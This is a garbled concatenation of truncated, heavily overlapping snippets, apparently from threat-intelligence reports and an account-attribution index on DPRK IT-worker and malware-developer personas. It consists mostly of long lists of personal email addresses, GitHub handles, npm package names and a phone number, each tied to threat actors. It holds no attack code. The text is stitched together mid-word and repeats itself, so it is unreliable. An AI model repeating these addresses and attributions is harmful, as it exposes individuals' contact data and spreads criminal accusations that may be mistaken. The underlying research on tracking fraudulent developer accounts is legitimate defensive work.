onetouch0525@gmail.com kevinlee2821@gmail.com leondragandevelop@gmail.com eric2022412@gmail.com ma.liguo@outlook.com donatelo212dunccine@gmail.com ernestpapyan@gmail.com topsmartpro@pro…","Read on 20 September 2026 by walking the commit history of every repository on github.com/alphaVenus0924, which this index already holds under the heading \"GitHub accounts the kstar0102 persona follows\". Tallying the author line on every commit recovers the address the holder configured their git client with, which an account never has to state anywhere. kevinlewis0628@gmail.com authored 1123 commits on alphaVenus0924, commits as \"alphaVenus0924\". Each is admitted because it commits under a name the account itself uses, the test that separates the holder's own address from the original author of a repository copied in. No persona is attached, because the accounts these were read from carry none: the reporting grouped them without naming an operator, and recovering an address does not supply the name it declined to give.","…e kennydavis1990123@gmail.com kevin.dev921115@gmail.com kevin.escalante.0710@gmail.com kevingrant.0301@gmail.com kevinipineda0315@gmail.com kevinmiller0928@gmail.com kevintech1020@gmail.com kevinwise1016@gmail.com kexakoh218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkaloolek…","…used to register domains: • jasper.lewitton.official@gmail.com • dodson43210@protonmail.com • napoleonbgqo0977@gmail.com • kevinsanaraujo@gmail.com • daniel.castagnolii@gmail.com • ashockvaradharajan@gmail.com • yoannturp@gmail.com Th e domains included: •…","…LOVES to leak the private code which earned him a DMCA takedown on Github ### hexnome - OuraKano - x.com/hexnome - hexnome88@gmail.com - kevinsmartinez0412@gamil.com - t.me/Ee1030109 (ID: 7147733300) • [Messages](./user-7147733300-@Ee1030109.txt) - github.com/hexnome ### chain_sats - leionion -…","…![](./joshua-palmer.png) - ![](./sim-1.png) - ![](./sim-2.png) --- # Ice Skating #### February 2024 - Kevin Li / kevin.solution41@gmail.com - Muhammad / Danny Jin / yunero - Bryan Edward Irving / Steven Scott Jr -…","…investdreamz34518@gmail.com investgrowthplanner16529@gmail.com jasonhomesales01207@gmail.com johnmarston39482@gmail.com kevinspace09495@gmail.com keycityagent64977@gmail.com keycityrealtor98521@gmail.com keystonenashynoum95584@outlook.com kievrelationmanager07992@gmail.com…","…com kevin.dev921115@gmail.com kevin.escalante.0710@gmail.com kevingrant.0301@gmail.com kevinipineda0315@gmail.com kevinmiller0928@gmail.com kevintech1020@gmail.com kevinwise1016@gmail.com kexakoh218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@…","…(213) consolidate-log (297) consolidate-logger (291) Threat Actor Identifiers # npm Aliases and Email Addresses: taras_lakhai — kevintracy516@gmail.com mvitalii — mvitalii206@gmail.com wishorn — starlancer555@gmail.com crouch626 — crouchtomy@gmail.com GitHub Accounts:…","…il.com sparukgena@gmail.com joshuagosney.dev.web@gmail.com hungpham.web3@gmail.com mak.martynenko22@gmail.com mark.developer.2006@gmail.com kevin.tsang.coder@gmail.com henry.zhang@gmail.com viacheslay.zadorozhnyi3863@gmail.com lucasli.dream1218917@gmail.com kenjitamm@gmail.com shan.shan.eth1994@gmail.com d…","…l.com kevin.escalante.0710@gmail.com kevingrant.0301@gmail.com kevinipineda0315@gmail.com kevinmiller0928@gmail.com kevintech1020@gmail.com kevinwise1016@gmail.com kexakoh218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gma…","…kaitlyndynamofwtsc28771@outlook.com kencheng1291@proton.me kevincarol00001@gmail.com kevincarol00002@gmail.com kevinyamada71@gmail.com kik.ita.aylen701@gmail.com kingsley19960304@hotmail.com korovalerii0803@gmail.com kurnia.utama4q@hotmail.com…","…https://x.com/browsercookies/status/1913271095253516308 - ![](./1913271095253516308.png) #### Kevin Chang - kchang.prof@gmail.com - kevin.zhang.soft@gmail.com - github.com/kevinsoft81 - https://x.com/browsercookies/status/1913267818386305459 - ![](./1913267818386305459.png) #### Logan…","…2026-08-04 vite-plugin-eslint <tech.lead@claritev.health> 2026-08-04 cors-version (1.0.4) 2026-08-04 kevonda3 <KevondaSolver3@hotmail.com> www.w3.org astonishing-torrone-ffb31e.netlify.app http://www.w3.org/2000/svg https://astonishing-torrone-ffb31e.netlify.app/…","…10@gmail.com kevingrant.0301@gmail.com kevinipineda0315@gmail.com kevinmiller0928@gmail.com kevintech1020@gmail.com kevinwise1016@gmail.com kexakoh218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@…","…investgrowthplanner16529@gmail.com jasonhomesales01207@gmail.com johnmarston39482@gmail.com kevinspace09495@gmail.com keycityagent64977@gmail.com keycityrealtor98521@gmail.com keystonenashynoum95584@outlook.com kievrelationmanager07992@gmail.com…","…jasonhomesales01207@gmail.com johnmarston39482@gmail.com kevinspace09495@gmail.com keycityagent64977@gmail.com keycityrealtor98521@gmail.com keystonenashynoum95584@outlook.com kievrelationmanager07992@gmail.com knightjenkinsybtec90710@outlook.com…","…johnmarston39482@gmail.com kevinspace09495@gmail.com keycityagent64977@gmail.com keycityrealtor98521@gmail.com keystonenashynoum95584@outlook.com kievrelationmanager07992@gmail.com knightjenkinsybtec90710@outlook.com krauszsenff3pkph@hotmail.com…","…brimstoneinkwellwugke88241@outlook.com edisonrippin@outlook.com erbanfceraswud8px@hotmail.com JonathonF1010@outlook.com khardenjenna510727@outlook.com kukurudza339@gmail.com leowestbcqni01653@outlook.com pascaldev0921@outlook.com reedfowlerccouj11583@hotmail.com…","…email insider N/A N/A Threat actor-controlled email 1 kbsy2019@hotmail.com email insider N/A N/A Threat actor-controlled email 1 khatijha555@outlook.com email insider N/A N/A Threat actor-controlled email 1 kk14s@ya.ru email insider N/A N/A Threat actor-controlled email 1…","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 10 commits signed kholodroman6@gmail.com, an address ZachXBT publishes for this persona, to github.com/romik6, account id 216759224, created on 17 June 2025, with 4 public repositories.","…2 ====== johnathon.h.tneg18@gmail.com leptointel213@gmail.com clark.pickles30@proton.me dkwebigo416@gmail.com zhangxu57477@gmail.com kholodroman6@gmail.com hanhd7231@gmail.com artemyaroshenko540@gmail.com ratushniakoleksii8@gmail.com sparukgena@gmail.com joshuagosney.dev.web@gmail.com hungpham.…","….0301@gmail.com kevinipineda0315@gmail.com kevinmiller0928@gmail.com kevintech1020@gmail.com kevinwise1016@gmail.com kexakoh218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@…","…da0315@gmail.com kevinmiller0928@gmail.com kevintech1020@gmail.com kevinwise1016@gmail.com kexakoh218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com ki…","…8@gmail.com kevintech1020@gmail.com kevinwise1016@gmail.com kexakoh218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitka…","…kevinspace09495@gmail.com keycityagent64977@gmail.com keycityrealtor98521@gmail.com keystonenashynoum95584@outlook.com kievrelationmanager07992@gmail.com knightjenkinsybtec90710@outlook.com krauszsenff3pkph@hotmail.com landmarkhomesconsult33423@gmail.com…","…kencheng1291@proton.me kevincarol00001@gmail.com kevincarol00002@gmail.com kevinyamada71@gmail.com kik.ita.aylen701@gmail.com kingsley19960304@hotmail.com korovalerii0803@gmail.com kurnia.utama4q@hotmail.com lauren.washco@hotmail.com…","…malware developer accounts Year in Review kainmcguire@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review kimberlysunshine137@yahoo.com email malware N/A N/A DPRK malware developer accounts Year in Review konovalov1256@gmail.com email malware N/A N/A DPRK malware…","…One example of such a leak is a seemingly throwaway credential for testing a web service running locally, with the email kimhyok@pt.net[email protected] .com .…","…One example of such a leak is a seemingly throwaway credential for testing a web service running locally, with the email kimhyok@pt.net.com .…","…Accounts Used by Argentinian Facilitator 331 Email mitliza1@gmail.com julianseewald123@gmail.com stiegliz06@gmail.com kinchevaali@gmail.com sunsui2023@outlook.com kopytina111@outlook.com Akira.Ito0116@outlook.com Eddan_jiang@outlook.com elmakha224ar@outlook.com…","…20@gmail.com kevinwise1016@gmail.com kexakoh218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com…","…1016@gmail.com kexakoh218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.c…","…h218@appxapi.com khxehpg371@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobe…","…kevincarol00001@gmail.com kevincarol00002@gmail.com kevinyamada71@gmail.com kik.ita.aylen701@gmail.com kingsley19960304@hotmail.com korovalerii0803@gmail.com kurnia.utama4q@hotmail.com lauren.washco@hotmail.com leahucosmin0720@gmail.com leeuna@xvism.site…","…1@mailerdemo.xyz kianna.ly.n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodaka…","….n.lo.p.e.z@gmail.com kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof…","…om kibkalooleks@gmail.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com k…","…On Pinterest, the same phone number used on the website was shared (+1) (925) 953-2975. A unique email address was shared: “ kisikbo5.werer@gmail.com ” Twitter: x.com/blocknovasllc (Joined October 2024) Their Twitter account posted about a “Senior Blockchain Developer” job on…","…lozanvranic@gmail.com email insider N/A N/A DPRK developer email 2 qoneits@outlook.com email insider N/A N/A DPRK developer email 2 kitdb@outlook.com email insider N/A N/A DPRK developer email 2 d.musatovdv@gmail.com email insider N/A N/A DPRK developer email 2…","…l.com kinddev0813@gmail.com kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha…","…kinddev813@gmail.com kindlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com ko…","…ndlyman343423@gmail.com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.…","…email insider N/A N/A Threat actor-controlled email 1 khatijha555@outlook.com email insider N/A N/A Threat actor-controlled email 1 kk14s@ya.ru email insider N/A N/A Threat actor-controlled email 1 knightrogue414@outlook.com email insider N/A N/A Threat actor-controlled email 1…","…thomasanderson19960313@gmail.com - davidsuzuki51@gmail.com - toptalent48@gmail.com - alexstepan0209@gmail.com - kkopbusiness1213@gmail.com - blockchain4webdev@gmail.com - HighleyHilmaU@gmail.com - yemelyan.yevdokimov.domain1121@gmail.com - qiqq-ps@eclipso.eu -…","…realhardworkingdeveloper@gmail.com thomasanderson19960313@gmail.com davidsuzuki51@gmail.com toptalent48@gmail.com alexstepan0209@gmail.com kkopbusiness1213@gmail.com blockchain4webdev@gmail.com HighleyHilmaU@gmail.com yemelyan.yevdokimov.domain1121@gmail.com qiqq-ps@eclipso.eu illia.butenko89@gmail.com d…","…keycityrealtor98521@gmail.com keystonenashynoum95584@outlook.com kievrelationmanager07992@gmail.com knightjenkinsybtec90710@outlook.com krauszsenff3pkph@hotmail.com landmarkhomesconsult33423@gmail.com landscapeinvestor00913@gmail.com lauradrwh@gmail.com…","…email insider N/A N/A Threat actor-controlled email 1 kk14s@ya.ru email insider N/A N/A Threat actor-controlled email 1 knightrogue414@outlook.com email insider N/A N/A Threat actor-controlled email 1 konachi0531@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","….com kingstardev9999@gmail.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.com krakenaria46@gmail.c…","…il.com kinoa911@gmail.com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmai…","…com kiryl.acc@gmail.com kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gma…","…ygrow@gmail.com geniusdev1108@gmail.com goldendev726@gmail.com jacob.rd.dev@gmail.com jacobbush211@gmail.com johnwadelinson@gmail.com koizatsuo@gmail.com liam.perrin.dev@outlook.com luckyman012357@gmail.com luckysmile0502@gmail.com lunadev823@gmail.com lyappunov19@outlook.com magnus.mas…","…m kitkat.2017.1219@gmail.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gmail.com krystian.polans…","…metrify-node 2026-03-27 graph first seen hello@jsonspack.com mexc-utils-helper 2026-03-24 graph first seen koldavich@yandex.com mjs-biginteger 2026-03-23 live registry n.ar.a.tat.ia.n.aaa@gmail.com modustack 2026-03-24 live registry…","…cluster email Cross-linked with creative_topdev_1010 eugene001127@outlook.com[email protected] ToyBoy1127 email GitHub account email KollinKojima28@outlook.com[email protected] Kolin Kojima email KollinKujima@outlook.com[email protected] Kolin Kojima (alt) email Deliberate typo variant…","…ToyBoy1127 email GitHub account email KollinKojima28@outlook.com[email protected] Kolin Kojima email KollinKujima@outlook.com[email protected] Kolin Kojima (alt) email Deliberate typo variant RonnyHukuda@gmail.com[email protected] Ronny Hukuda email Connects…","…email insider N/A N/A Synthetic persona email 2 vladimirvoski001@outlook.com email insider N/A N/A Synthetic persona email 2 kolyotroske001@outlook.com email insider N/A N/A Synthetic persona email 2 borissudar.cro@outlook.com email insider N/A N/A Synthetic persona email 2…","…insider N/A N/A Threat actor-controlled email 1 knightrogue414@outlook.com email insider N/A N/A Threat actor-controlled email 1 konachi0531@hotmail.com email insider N/A N/A Threat actor-controlled email 1 kosong0926@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Synthetic persona email 2 juricleon407@gmail.com email insider N/A N/A Synthetic persona email 2 kondradgodzki@outlook.com email insider N/A N/A Synthetic persona email 2 velizarborisov.fs@outlook.com email insider N/A N/A Synthetic persona email 2…","…il.com kittydragon88@gmail.com kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gmail.com krystian.polanski1104@gmail.com kvnpotro@gm…","…developer accounts Year in Review kimberlysunshine137@yahoo.com email malware N/A N/A DPRK malware developer accounts Year in Review konovalov1256@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review kvashinalexander@gmail.com email malware N/A N/A DPRK malware…","…Email mitliza1@gmail.com julianseewald123@gmail.com stiegliz06@gmail.com kinchevaali@gmail.com sunsui2023@outlook.com kopytina111@outlook.com Akira.Ito0116@outlook.com Eddan_jiang@outlook.com elmakha224ar@outlook.com sebastian.93.e@hotmail.com nicolas.ju915@gmail.com…","…kevincarol00002@gmail.com kevinyamada71@gmail.com kik.ita.aylen701@gmail.com kingsley19960304@hotmail.com korovalerii0803@gmail.com kurnia.utama4q@hotmail.com lauren.washco@hotmail.com leahucosmin0720@gmail.com leeuna@xvism.site littebaby232355@gmail.com…","…om kjav.spt@gmail.com kobegef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gmail.com krystian.polanski1104@gmail.com kvnpotro@gmail.com kwa7330@gmail.com…","…email insider N/A N/A Threat actor-controlled email 1 konachi0531@hotmail.com email insider N/A N/A Threat actor-controlled email 1 kosong0926@gmail.com email insider N/A N/A Threat actor-controlled email 1 kosong0926@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Threat actor-controlled email 1 kosong0926@gmail.com email insider N/A N/A Threat actor-controlled email 1 kosong0926@hotmail.com email insider N/A N/A Threat actor-controlled email 1 lava_0208@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Synthetic persona email 2 erikslamka1@gmail.com email insider N/A N/A Synthetic persona email 2 kostasmichalakakou@gmail.com email insider N/A N/A Synthetic persona email 2 jokubasbieliauskas1@gmail.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Threat actor persona email 4 alexsam.dev@gmail.com email insider N/A N/A Threat actor persona email 4 kostiaberez369@gmail.com email insider N/A N/A Threat actor persona email 4 darkrut22@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Synthetic persona email 2 emilsvalina@outlook.com email insider N/A N/A Synthetic persona email 2 kostic.gordan@outlook.com email insider N/A N/A Synthetic persona email 2 josipbraut@outlook.com email insider N/A N/A Synthetic persona email 2…","…2026-04-03 live registry ficara9076@algarr.com tailwindcss-fonttype-inter 2026-03-31 live registry kowaki4759@marvetos.com tailwindcss-typeface-inter 2026-03-28 graph first seen hello@sicavam799.muncloud.com terminal-structured-logger…","…egef742@mitigado.com kodakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gmail.com krystian.polanski1104@gmail.com kvnpotro@gmail.com kwa7330@gmail.com kyden.giomar@minuteste…","…keystonenashynoum95584@outlook.com kievrelationmanager07992@gmail.com knightjenkinsybtec90710@outlook.com krauszsenff3pkph@hotmail.com landmarkhomesconsult33423@gmail.com landscapeinvestor00913@gmail.com lauradrwh@gmail.com lendingcrafters51867@gmail.com…","…96bbb80c99e8c29ac062c7933662425752e091c9d6cc7a609920e284e1c474b8 2026-10-07 hardhat-option (2.0.1) 2026-10-07 krazzzi <krazzzi@icloulb.kr> b01c59ae0a76527503799aab109bd701e34f260d192722a8cf12c97a4e6d208c 2026-10-07 hardhat-option (0.0.0-stage) 2026-10-07 krazzzi…","…dakatsuro@gmail.com kof.terry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gmail.com krystian.polanski1104@gmail.com kvnpotro@gmail.com kwa7330@gmail.com kyden.giomar@minutestep.com kylecollins412@gmai…","…vime-azl 2026-03-25 graph first seen v.al.s.o.lo.mon7.0@gmail.com vite-enhancer-config 2026-04-18 live registry kristinedeboeck@outlook.com vite-json-config 2026-04-15 live registry harry.stev513@outlook.com wime-zle 2026-03-26 live registry…","…erry29@gmail.com kokosven287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gmail.com krystian.polanski1104@gmail.com kvnpotro@gmail.com kwa7330@gmail.com kyden.giomar@minutestep.com kylecollins412@gmail.com kyler714307@gmail…","…email insider N/A N/A Synthetic persona email 2 aleksandarradakovic122@gmail.com email insider N/A N/A Synthetic persona email 2 krstoilovski@gmail.com email insider N/A N/A Synthetic persona email 2 filipbackus@outlook.com email insider N/A N/A Synthetic persona email 2…","…en287@gmail.com konoha.itachi0123@gmail.com korvalev234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gmail.com krystian.polanski1104@gmail.com kvnpotro@gmail.com kwa7330@gmail.com kyden.giomar@minutestep.com kylecollins412@gmail.com kyler714307@gmail.com kyrychenkov30@gmail.com lae…","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/kstar0102, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The addresses recorded here were not already in this index: kstar0102@gmail.com authored 32 commits across 4 of its repositories, commits as \"kstar0102\"; kstar0102@outlook.com authored 19 commits across 2 of its repositories, commits as \"kstar0102\"; kstar0101@outlook.com authored 18 commits across 8 of its repositories, commits as \"kstar0102\"; seniordev052@gmail.com authored 1 commit across the repository kstar0102/blog_for_me, commits as \"kstar0102\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","…edisonrippin@outlook.com erbanfceraswud8px@hotmail.com JonathonF1010@outlook.com khardenjenna510727@outlook.com kukurudza339@gmail.com leowestbcqni01653@outlook.com pascaldev0921@outlook.com reedfowlerccouj11583@hotmail.com topflite4@freyaglam.shop…","…kevinyamada71@gmail.com kik.ita.aylen701@gmail.com kingsley19960304@hotmail.com korovalerii0803@gmail.com kurnia.utama4q@hotmail.com lauren.washco@hotmail.com leahucosmin0720@gmail.com leeuna@xvism.site littebaby232355@gmail.com lucastyler195@gmail.com…","…Based on the subdomain and the contact email kut@star-co.net.kp, we linked KUT to Kim Chaek University of Technology. Figure 7: KUT website A stealer log contained references to 13 teams, ranging…","…email insider N/A N/A Synthetic persona email 2 damjandobrudzhanski@gmail.com email insider N/A N/A Synthetic persona email 2 kutayijaz@outlook.com email insider N/A N/A Synthetic persona email 2 simeondimitris001@gmail.com email insider N/A N/A Synthetic persona email 2…","…developer accounts Year in Review konovalov1256@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review kvashinalexander@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review markstevemark85@gmail.com email malware N/A N/A DPRK malware…","…3@gmail.com korvalev234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gmail.com krystian.polanski1104@gmail.com kvnpotro@gmail.com kwa7330@gmail.com kyden.giomar@minutestep.com kylecollins412@gmail.com kyler714307@gmail.com kyrychenkov30@gmail.com lael.damareon@minofang…","…v234234@gmail.com krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gmail.com krystian.polanski1104@gmail.com kvnpotro@gmail.com kwa7330@gmail.com kyden.giomar@minutestep.com kylecollins412@gmail.com kyler714307@gmail.com kyrychenkov30@gmail.com lael.damareon@minofangle.org lambertlee4…","…krakenaria46@gmail.com kretovvadim881@gmail.com kristoffa610@gmail.com krystian.polanski1104@gmail.com kvnpotro@gmail.com kwa7330@gmail.com kyden.giomar@minutestep.com kylecollins412@gmail.com kyler714307@gmail.com kyrychenkov30@gmail.com lael.damareon@minofangle.org lambertlee410@gmail.com lambook35@gmail…","…Communication was conducted via seemingly ordinary Gmail addresses—suptalentdev@gmail.com (which appeared in email headers) and kyle12lank@gmail.com—with nothing overtly suspicious at first glance.…","…bluesky3 itsolution1014@gmail.com asdasdasd jarrenjackson15@gmail.com Rst jayevanslinkedin@gmail.com Jay231 kylecollins412@gmail.com p, kyle0412 leonohlin0123@gmail.com leodavinci liam.pilips.hub@gmail.com ourcountry manricvilegas@gmail.com int…","…offa610@gmail.com krystian.polanski1104@gmail.com kvnpotro@gmail.com kwa7330@gmail.com kyden.giomar@minutestep.com kylecollins412@gmail.com kyler714307@gmail.com kyrychenkov30@gmail.com lael.damareon@minofangle.org lambertlee410@gmail.com lambook35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. In the address map with the alias IrisWx; post nine records the account created on 6 March 2022, the first of the March batch.","…not operated by individual users but are instead centrally managed as part of a coordinated fraudulent identity infrastructure. kyrychenkov30@gmail.com (IP×8, PW×2, HWID×8) romanvaraksin763@gmail.com (IP×6, PW×3, HWID×6) balsinyar@gmail.com (IP×6, PW×2, HWID×6) backendeng0417@gmail.com…","…tian.polanski1104@gmail.com kvnpotro@gmail.com kwa7330@gmail.com kyden.giomar@minutestep.com kylecollins412@gmail.com kyler714307@gmail.com kyrychenkov30@gmail.com lael.damareon@minofangle.org lambertlee410@gmail.com lambook35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gm…","…것은 일반 사용자의 행위 범위를 벗어난 이례적인 패턴입니다.이러한 ‘1:N’형태의 다중 매핑 구조는, 해당 계정을 개인이 사용하는 것이 아니라 조직적 차원에서 위장 신원 인프라를 위해 사용되는 계정임을 시사하는 강력한 증거입니다. kyrychenkov30@gmail.com (IP×8, PW×2, HWID×8) romanvaraksin763@gmail.com (IP×6, PW×3, HWID×6) balsinyar@gmail.com (IP×6, PW×2, HWID×6) backendeng0417@gmail.com…","…email insider N/A N/A Synthetic persona email 2 belarosviska@gmail.com email insider N/A N/A Synthetic persona email 2 ladislav.kvarda525@gmail.com email insider N/A N/A Synthetic persona email 2 novskapetar@gmail.com email insider N/A N/A Synthetic persona email 2…","…com kvnpotro@gmail.com kwa7330@gmail.com kyden.giomar@minutestep.com kylecollins412@gmail.com kyler714307@gmail.com kyrychenkov30@gmail.com lael.damareon@minofangle.org lambertlee410@gmail.com lambook35@gmail.com lancerok8@gmail.com larrypotter0000@gmail.com larrywilkerson663@gmail.com layton.hart.cool@gmai…","…densyaou@gmail.com - eliteknightgold@outlook.com - github.com/Hiccup19940325 - jamescharlie94@outlook.com - lainhong1205@gmail.com - sunmoonlee.19900113@outlook.com - sunmoonstar0319@outlook.com - superdev0292@gmail.com - zombie.eye.dev@gmail.com -…","…gmail.com zombie.eye.dev@gmail.com stevechendragon@gmail.com stevechendragon@outlook.com yamamotoziro.0113@gmail.com keinakano415@gmail.com lainhong1205@gmail.com jenson.collins@hotmail.com sunshineseo0614@gmail.com watanabeatari@gmail.com sunmoonlee.19900113@outlook.com johnpatch0502@outlook.com elit…","…IT workers - laiwe - Github accounts used by Kyonghung IT workers - laiwe@Zafianto.com - - Email accounts used by Chon Kwon Uk - laiwe@adventuremoto.com - - Email accounts used by Chon Kwon Uk - laiwe@africatwin.fun - - Email accounts used by Chon Kwon Uk - laiwe@allombo.com - - Email…","…IT 11 gitstar333garezb35, andersson1117, laiwe Github accounts used by Kyonghung IT workers 12 laiwe@Zafianto.com laiwe@adventuremoto.com laiwe@africatwin.fun laiwe@allombo.com laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com…","…laiwe@Zafianto.com - - Email accounts used by Chon Kwon Uk - laiwe@adventuremoto.com - - Email accounts used by Chon Kwon Uk - laiwe@africatwin.fun - - Email accounts used by Chon Kwon Uk - laiwe@allombo.com - - Email accounts used by Chon Kwon Uk - laiwe@amateurup.com - - Email…","…andersson1117, laiwe Github accounts used by Kyonghung IT workers 12 laiwe@Zafianto.com laiwe@adventuremoto.com laiwe@africatwin.fun laiwe@allombo.com laiwe@amateurup.com laiwe@babefocus.com laiwe@bnude.com laiwe@groobysocial.com laiwe@hunners.com…","…Uk - laiwe@adventuremoto.com - - Email accounts used by Chon Kwon Uk - laiwe@africatwin.fun - - 